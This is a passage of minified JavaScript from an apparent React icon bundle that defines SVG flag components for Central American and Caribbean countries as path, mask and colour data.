8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#E8AA00",strokeWidth:.5,d:"M9.713 5.93a1.82 1.82 0 1 1-3.642 0 1.82 1.82 0 0 1 3.642 0Z"}),(0,s.createElement)("path",{fill:"#1E601B",fillRule:"evenodd",d:"M6.905 4.831s-.476.784-.476 1.322S7 7.368 7.896 7.368c.875 0 1.504-.523 1.523-1.215.019-.692-.47-1.184-.47-1.184s.276.996.138 1.4c-.139.403-.587.891-1.19.83-.604-.063-1.177-.806-1.177-1.046s.185-1.322.185-1.322Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#188396",strokeWidth:.5,d:"M7.08 6.164h1.604"}),(0,s.createElement)("path",{stroke:"#E8AA00",strokeWidth:.5,d:"M7.23 5.903h1.38M8.525 6.206H7.297l.62-1.029.608 1.029Z"})))),Et=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GT_-_Guatemala_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GT_-_Guatemala_svg__a)"},(0,s.createElement)("path",{fill:"#58A5FF",fillRule:"evenodd",d:"M11 0h5v12h-5V0ZM0 0h6v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M5 0h6v12H5V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C6C6C6",d:"m6.382 8.519-.363-.344 3.844-4.064.363.344-3.844 4.064Z"}),(0,s.createElement)("path",{fill:"#5AB92D",fillRule:"evenodd",d:"M6.492 4.053s-1.23.742-1.23 2.604c0 1.861 2.996 2.113 2.996 2.113S6.465 7.677 6.23 6.894c-.234-.783.262-2.841.262-2.841Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5AB92D",fillRule:"evenodd",d:"M9.527 4.053s1.23.742 1.23 2.604c0 1.861-2.995 2.113-2.995 2.113S9.646 7.69 9.91 6.657c.264-1.033-.383-2.604-.383-2.604Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5AB92D",d:"m7.404 3.8.498.045c-.017.18.082.364.326.561.784.634 1.206 1.426.875 2.325-.24.653-.565 1.203-.977 1.651l-.368-.339c.366-.397.658-.891.876-1.484.237-.646-.084-1.25-.72-1.764-.364-.294-.543-.629-.51-.995Z"}),(0,s.createElement)("path",{fill:"#EFE298",fillRule:"evenodd",d:"m7.087 4.904.525 1.484h-.386s-.14.468.123.468h1.614s.176-.118.088-.468c-.088-.351-.532-1.32-.532-1.32s.19-.16.19-.279c0-.119-.19-.132-.19-.132H7.322c-.153.026-.235.247-.235.247Z",clipRule:"evenodd"}))),Zt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"HN_-_Honduras_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#HN_-_Honduras_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"HN_-_Honduras_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#4564F9",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#HN_-_Honduras_svg__b)"},(0,s.createElement)("path",{d:"M0 0v4h16V0H0ZM0 8v4h16V8H0ZM8.41 6.566l-.589.309.113-.655-.476-.51h.657l.294-.644.294.643h.657l-.475.511.112.655-.588-.31ZM5.41 5.566l-.589.309.113-.655-.476-.51h.657l.294-.644.294.643h.657l-.475.511.112.655-.588-.31ZM5.41 7.566l-.589.309.113-.655-.476-.51h.657l.294-.644.294.643h.657l-.475.511.112.655-.588-.31ZM11.41 5.566l-.589.309.113-.655-.476-.51h.657l.294-.644.294.643h.657l-.475.511.112.655-.588-.31ZM11.41 7.566l-.589.309.113-.655-.476-.51h.657l.294-.644.294.643h.657l-.475.511.112.655-.588-.31Z"})))),yt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NI_-_Nicaragua_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NI_-_Nicaragua_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NI_-_Nicaragua_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#NI_-_Nicaragua_svg__b)"},(0,s.createElement)("path",{fill:"#0080EC",fillRule:"evenodd",d:"M0 0v4h16V0H0ZM0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#D0AB00",fillRule:"evenodd",d:"M8 4c.094 0 .187.007.278.02l-.1.637a1.368 1.368 0 0 0-.436.013l-.046-.647c.1-.015.2-.023.304-.023Zm.576.084-.174.622a1.355 1.355 0 0 1 .952 1.339l.644.054L10 6a2 2 0 0 0-1.424-1.916Zm1.18 2.873a2 2 0 0 1-1.608 1.038v-.648c.37-.04.696-.23.915-.508l.694.118Zm-3.468.078a2 2 0 0 0 1.598.962V7.35a1.353 1.353 0 0 1-.968-.535l-.63.22Zm-.286-.95a2 2 0 0 1 1.274-1.95l.167.63c-.468.211-.794.68-.798 1.225l-.643.096Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#7CDFFF",fillRule:"evenodd",d:"M7.987 4.475 6.62 6.84h2.758l-1.39-2.365Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NI_-_Nicaragua_svg__c",width:4,height:3,x:6,y:4,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M7.987 4.475 6.62 6.84h2.758l-1.39-2.365Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#NI_-_Nicaragua_svg__c)"},(0,s.createElement)("path",{stroke:"#E31D1C",strokeWidth:.5,d:"M8 7.56a1.195 1.195 0 1 0 0-2.392A1.195 1.195 0 0 0 8 7.56Z"}),(0,s.createElement)("path",{stroke:"#FFD018",strokeWidth:.5,d:"M8 7.56a1.195 1.195 0 1 0 0-2.392A1.195 1.195 0 0 0 8 7.56Z"}),(0,s.createElement)("path",{stroke:"#4EDD00",strokeWidth:.5,d:"M8 7.56a1.195 1.195 0 1 0 0-2.392A1.195 1.195 0 0 0 8 7.56Z"}),(0,s.createElement)("path",{stroke:"#3D58DB",strokeWidth:.5,d:"M8 7.56a1.195 1.195 0 1 0 0-2.392A1.195 1.195 0 0 0 8 7.56Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M6.509 6.109h3.127v.909H6.509z"}),(0,s.createElement)("path",{fill:"#97C923",fillRule:"evenodd",d:"m6.719 6.495.623-.62.191.31.134-.377.148.283.156-.215.202.215.185-.283.158.283.181-.215.424.45.076.17-2.478.125v-.126Z",clipRule:"evenodd"}))))),wt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PA_-_Panama_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PA_-_Panama_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PA_-_Panama_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#PA_-_Panama_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M8 0v6h8V0H8ZM11.51 9.575l-1.15.712.446-1.196-.978-.905h1.187l.495-1.294.379 1.294h1.189l-.857.905.42 1.196-1.13-.712Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"m4.51 4.182-1.15.713.446-1.196-.978-.905h1.187L4.51 1.5l.379 1.294h1.189l-.857.905.42 1.196-1.13-.713ZM0 6v6h8V6H0Z"})))),kt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CW_-_Cura\\xE7ao_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CW_-_Cura\\xE7ao_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CW_-_Cura\\xE7ao_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CW_-_Cura\\xE7ao_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"m2.127 3.075-.994.524.48-.934L1 1.982l.762-.029L2.127 1l.28.953.89.029-.641.683.407.934-.936-.524ZM5.676 5.538l-1.227.514.481-1.288L3.863 3.9h1.279l.534-1.394.408 1.394h1.28l-.91.864.452 1.288-1.23-.514Z"}),(0,s.createElement)("path",{fill:"#F9E813",d:"M0 7v2h16V7H0Z"})))),Rt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AG_-_Antigua_and_Barbuda_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AG_-_Antigua_and_Barbuda_svg__a)"},(0,s.createElement)("path",{fill:"#1B1B1B",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F9D313",fillRule:"evenodd",d:"M8 7 6.887 8.9l.028-2.098-2.032 1.325 1.162-1.88-2.55.489 2.068-1.291L3 5l2.563-.445-2.068-1.29 2.55.488-1.162-1.88 2.032 1.325L6.887 1.1 8 3l1.113-1.9-.028 2.098 2.032-1.325-1.162 1.88 2.55-.489-2.068 1.291L13 5l-2.563.445 2.068 1.29-2.55-.488 1.162 1.88-2.032-1.325.028 2.098L8 7Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M3 7h10v5H3z"}),(0,s.createElement)("path",{fill:"#4A80E8",d:"M1 5h14v2H1z"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"m0 3 8 9 8-9v9H0V3Z",clipRule:"evenodd"}))),Mt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BS_-_Bahamas_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BS_-_Bahamas_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#3CB1CF",d:"M0 0v4h16V0H0ZM0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"m0 0 8 6-8 6V0Z"}))),Ft=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BB_-_Barbados_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BB_-_Barbados_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h5v12H0V0Z"}),(0,s.createElement)("path",{fill:"#000",d:"M9.217 7.637c.317-.655.681-1.85.681-1.85l.277-.822-1.097.398.26.15s-.453.906-.681 1.348c-.228.442-.25.15-.25.15l.038-3.085.252-.068-.628-1.206-.8 1.223.352.01s-.029 3.253-.078 3.126c-.027-.073-.1.151-.136.064-.222-.545-.526-1.601-.526-1.601l.178-.167-1.195-.245.357.734s.314 1.308.66 1.947c.077.202.453.288.453.288s.183-.186.229 0c.045.186 0 .938 0 .938h.843s-.059-.71 0-.938c.06-.228.244 0 .244 0s.49-.192.567-.394Z"}))),bt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CU_-_Cuba_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CU_-_Cuba_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CU_-_Cuba_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CU_-_Cuba_svg__b)"},(0,s.createElement)("path",{fill:"#3D58DB",stroke:"#F7FCFF",strokeWidth:2,d:"M0 4h-1v4h18V4H0Z"})),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CU_-_Cuba_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CU_-_Cuba_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m3.344 7.108-1.836.97.894-1.948-1.14-1.04 1.407-.052.675-1.76.515 1.76h1.404L4.327 6.13l.744 1.947-1.727-.969Z",clipRule:"evenodd"})))),Ct=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"DM_-_Dominica_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#DM_-_Dominica_svg__a)"},(0,s.createElement)("path",{fill:"#279E19",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"DM_-_Dominica_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#DM_-_Dominica_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8 0h1v7h7v1H9v4H8V8H0V7h8V0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M7 0h1v6h8v1H8v5H7V7H0V6h7V0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M6 0h1v5h9v1H7v6H6V6H0V5h6V0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M8 10a4 4 0 1 0 0-8 4 4 0 0 0 0 8Z"}),(0,s.createElement)("path",{fill:"#804BFF",d:"M7.363 4.206s.19-.616.631-.298c.692.341.92.733 1.188 1.176.267.444-.655.119-.827-.13-.172-.25-1.127-.331-.992-.54.135-.208 0-.208 0-.208Z"}),(0,s.createElement)("path",{fill:"#A95601",d:"M7.207 7.363s-.47.642 0 .642 2.374-.138 2.146-.32c-.228-.184-1.92 0-1.92 0l-.226-.322Z"}),(0,s.createElement)("path",{fill:"#804BFF",d:"M7.91 7.342c-.05-.054-.906-1.997-.508-2.4.398-.405.632-.167.632.438s.024 2.112-.125 1.962Z"}),(0,s.createElement)("path",{fill:"#279E19",d:"M7.859 7.027s-.05.472.193 1.024c.243.55.734.54.734.09 0-.452.357-.029.495.272.137.302-.219-2.673-.724-3.339-.505-.666-.992-.708-.845-.278.147.43.147 2.231.147 2.231Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M7.564 3.8s-.214.137-.214.514c0 .378.506-.116.506-.116L7.564 3.8ZM7.61 3.657l.44-.232.44.232-.083-.491.356-.348-.493-.071-.22-.447-.22.447-.493.071.356.348-.084.49Zm0 5.9.44-.232.44.232-.083-.491.356-.348-.493-.071-.22-.447-.22.447-.493.071.356.348-.084.49Zm2.8-2.8.083-.491-.356-.348.493-.071.22-.447.22.447.493.071-.356.348.084.49-.441-.231-.44.232Zm-5.7 0 .44-.232.44.232-.083-.491.356-.348-.493-.071-.22-.447-.22.447-.493.071.356.348-.084.49ZM6.233 4.35l-.14.478-.294-.401-.498.015.29-.405-.167-.469.474.152.394-.305.002.498.412.28-.473.157Zm4.105 4.379.14-.478.472-.156-.412-.28-.002-.499-.394.305-.474-.152.168.47-.29.404.497-.016.295.402Zm.07-4.437-.14.478-.294-.402-.498.015.29-.404-.167-.469.474.152.394-.305.002.498.412.28-.473.157ZM6.211 8.87l.14-.478.472-.156-.411-.28-.003-.499-.394.305-.474-.152.168.47-.29.404.497-.016.295.402Z"})))),Ht=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"DO_-_Dominican_Republic_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#DO_-_Dominican_Republic_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"DO_-_Dominican_Republic_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#DO_-_Dominican_Republic_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M7 0h2v5h7v2H9v5H7V7H0V5h7V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#4257BF",d:"M0 0h7v5H0zM9 7h7v5H9z"}),(0,s.createElement)("path",{fill:"#309404",d:"m6.818 5.555.498.048c-.085.89.026 1.265.206 1.265v.5c-.623 0-.815-.65-.704-1.813ZM9.213 5.555l-.497.048c.085.89-.026 1.265-.206 1.265v.5c.622 0 .815-.65.703-1.813Z"}),(0,s.createElement)("path",{fill:"#003994",d:"M7.364 5.346h.473v.738h-.473zM8.09 6.223h.474v.375c0 .2-.163.364-.364.364h-.11v-.739Z"}),(0,s.createElement)("path",{fill:"#DE2110",d:"M8.054 5.3h.473v.738h-.473zM7.364 6.223h.472v.739h-.109a.364.364 0 0 1-.363-.364v-.375Z"}),(0,s.createElement)("path",{fill:"#00319C",d:"m7.167 5.305-.334-.372c.353-.318.721-.483 1.1-.483.38 0 .747.165 1.1.483l-.334.372c-.267-.241-.521-.355-.766-.355-.244 0-.498.114-.766.355Z"}),(0,s.createElement)("path",{fill:"#DE2110",d:"m7.204 7.797-.335-.372c.353-.317.721-.483 1.1-.483.38 0 .748.166 1.1.483l-.334.372c-.267-.24-.521-.355-.766-.355-.244 0-.498.114-.765.355Z"})))),Vt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GD_-_Grenada_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GD_-_Grenada_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0h16v11a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M3 3h10v6H3V3Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GD_-_Grenada_svg__b",width:10,height:6,x:3,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M3 3h10v6H3V3Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#GD_-_Grenada_svg__b)"},(0,s.createElement)("path",{fill:"#23875F",fillRule:"evenodd",d:"m3 3 5 3-5 3V3ZM13 3 8 6l5 3V3Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GD_-_Grenada_svg__c",width:5,height:6,x:8,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M13 3 8 6l5 3V3Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M8 8a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m7.965 6.657-1.036.718.331-1.23-.76-.786 1.03-.043.435-1.216.435 1.216h1.028l-.759.829.38 1.157-1.084-.645Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m4.388 2.221.566-.35.593.315-.208-.566.415-.405h-.562L4.954.621l-.238.594-.562.021.415.384-.18.601Zm3 0 .566-.35.593.315-.208-.566.415-.405h-.562L7.954.621l-.238.594-.562.021.415.384-.18.601Zm3.566-.35-.566.35.181-.601-.415-.384.562-.02.238-.595.238.594h.562l-.415.405.208.566-.593-.316Zm-6.566 9.213.566-.351.592.315-.207-.565.414-.405h-.561l-.238-.594-.238.594-.563.02.416.385-.181.6Zm3.566-.351-.566.35.18-.6-.415-.384.563-.021.238-.594.238.594h.561l-.414.405.207.565-.592-.315Zm2.434.35.566-.35.592.315-.207-.565.414-.405h-.561l-.238-.594-.238.594-.563.02.416.385-.181.6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M4.317 6.386s.27.24.416.321c.05-.191-.062-.626-.062-.626-.032-.103-.379-.29-.379-.29s-.097.328.025.595Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M4.598 6.965s-.692-.323-.762-.78C3.766 5.728 3.915 5 3.915 5s1.123.255 1.2.803c.076.548-.178.892-.178.892s-.26-.668-.505-.742c0 0 0 .662.166 1.012Z",clipRule:"evenodd"}))),St=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"HT_-_Haiti_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#HT_-_Haiti_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"HT_-_Haiti_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#HT_-_Haiti_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 6v6h16V6H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M3 2h10v8H3z"}),(0,s.createElement)("mask",{id:"HT_-_Haiti_svg__c",width:10,height:8,x:3,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M3 2h10v8H3z"})),(0,s.createElement)("g",{mask:"url(#HT_-_Haiti_svg__c)"},(0,s.createElement)("path",{fill:"#279E19",fillRule:"evenodd",d:"M3 8.385s2.4-1.064 5-.999c2.6.065 5 1.249 5 1.249V10H3V8.385Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#026A16",fillRule:"evenodd",d:"M5.72 3.51a.094.094 0 0 0-.006.111c.16.254.866 1.257 2.01 1.257 1.103 0 1.924-.93 2.157-1.226a.1.1 0 0 0-.026-.15C9.685 3.4 9.302 3.2 8.86 3.2c-.597 0-1.135.255-1.135.255S6.924 3.2 6.414 3.2a.893.893 0 0 0-.694.31Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"m7.895 7.407-.896-.567c-.524.243-.786.722-.786 1.44l.694 1.139h2.117l.5-1.14s.196-1.473-.5-1.71l-1.13.838Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#0A328C",fillRule:"evenodd",d:"M5.934 5.816s-1.353.47-1.353 2.202l1.805.357s-.022-.993.518-1.458l-.97-1.101Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",d:"m5.268 5.264.215-.218L8 7.523l-.215.218-2.517-2.477ZM4.481 5.845l.177-.252 3.237 2.463-.177.252L4.48 5.845ZM3.943 6.811l.14-.277 3.676 2.004-.139.277L3.943 6.81Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m4.59 8.004 2.421.318-.136.395h-.384l.262.224.589.162v-.386h.516v.819H6.753l-.424-.595s-.357.411-.704.411c-.348 0-.69-.133-.69-.582v-.312l-.344-.136v-.318Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#0A328C",fillRule:"evenodd",d:"M9.808 5.723s1.586.563 1.586 2.295l-1.82.356s-.083-1.28-.644-1.746l.878-.905Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",d:"m10.68 5.264-.225-.218-2.712 2.277.225.217 2.711-2.276ZM11.499 5.845l-.185-.252-3.37 2.463v.462l3.555-2.673Z"}),(0,s.createElement)("path",{fill:"#FFD018",d:"m12.058 6.811-.143-.277-4.058 1.971.143.278 4.058-1.972Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m11.385 8.004-2.522.318.142.395h.4l-.272.224-.614.162v-.386H7.98v.819h1.152l.441-.595s.371.411.733.411.72-.133.72-.582v-.312l.358-.136v-.318Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M7.692 4.679s-.164 1.203-.164 1.693.164 3.094.164 3.094h.42V6.372c0-.409-.247-1.693-.247-1.693h-.173Z",clipRule:"evenodd"}))))),At=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"JM_-_Jamaica_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#JM_-_Jamaica_svg__a)"},(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#FECA00",strokeWidth:1.35,d:"m-.07-.52-1.105-.912v14.864l1.105-.911 7.269-6L7.829 